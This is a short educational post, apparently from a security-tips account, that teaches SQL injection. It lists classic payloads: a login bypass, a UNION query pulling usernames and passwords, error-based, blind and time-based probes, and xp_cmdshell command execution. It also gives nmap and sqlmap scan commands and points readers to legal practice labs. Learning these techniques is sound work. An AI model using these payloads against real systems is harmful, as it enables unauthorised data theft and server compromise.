👉🏻 Are you learning SQLi and want a guide to learn from?
🔥 This in-depth document will cover all the operators available within SQLi.
You Should Know:
Here are some practical SQL injection commands and techniques to practice:
1. Basic SQL Injection:
' OR '1'='1
This classic SQLi payload can bypass login forms by always evaluating to true.
2. Union-Based SQL Injection:
' UNION SELECT null, username, password FROM users--
Use this to extract data from other tables by combining results with the `UNION` operator.
3. Error-Based SQL Injection:
' AND 1=CONVERT(int, (SELECT @@version))--
Exploit error messages to extract database information like the version.
4. Blind SQL Injection:
' AND (SELECT COUNT(*) FROM users) > 10--
Use boolean-based blind SQLi to infer data without direct output.
5. Time-Based SQL Injection:
'; IF (1=1) WAITFOR DELAY '0:0:5'--
Delay the response to confirm SQLi vulnerability.
6. Command Execution (if applicable):
'; EXEC xp_cmdshell('whoami')--
Execute system commands on the database server (if `xp_cmdshell` is enabled).
What Undercode Say:
SQL injection remains one of the most critical vulnerabilities in web applications. Mastering SQLi requires understanding database structures, query syntax, and exploitation techniques. Always practice in a legal environment like OWASP Juice Shop or Hack The Box.
Here are additional Linux and Windows commands to enhance your cybersecurity skills:
- Linux:
nmap -p 80,443 --script http-sql-injection <target>
Use Nmap to scan for SQLi vulnerabilities.
sqlmap -u "http://example.com/page?id=1" --dbs
Automate SQLi detection and exploitation with SQLMap.
- Windows:
Invoke-SqlCmd -Query "SELECT * FROM users" -ServerInstance "localhost"
Execute SQL queries directly from PowerShell.
netstat -an | findstr "LISTENING"
Check open ports to identify potential database services.
Stay curious, practice responsibly, and always secure your applications against SQLi!
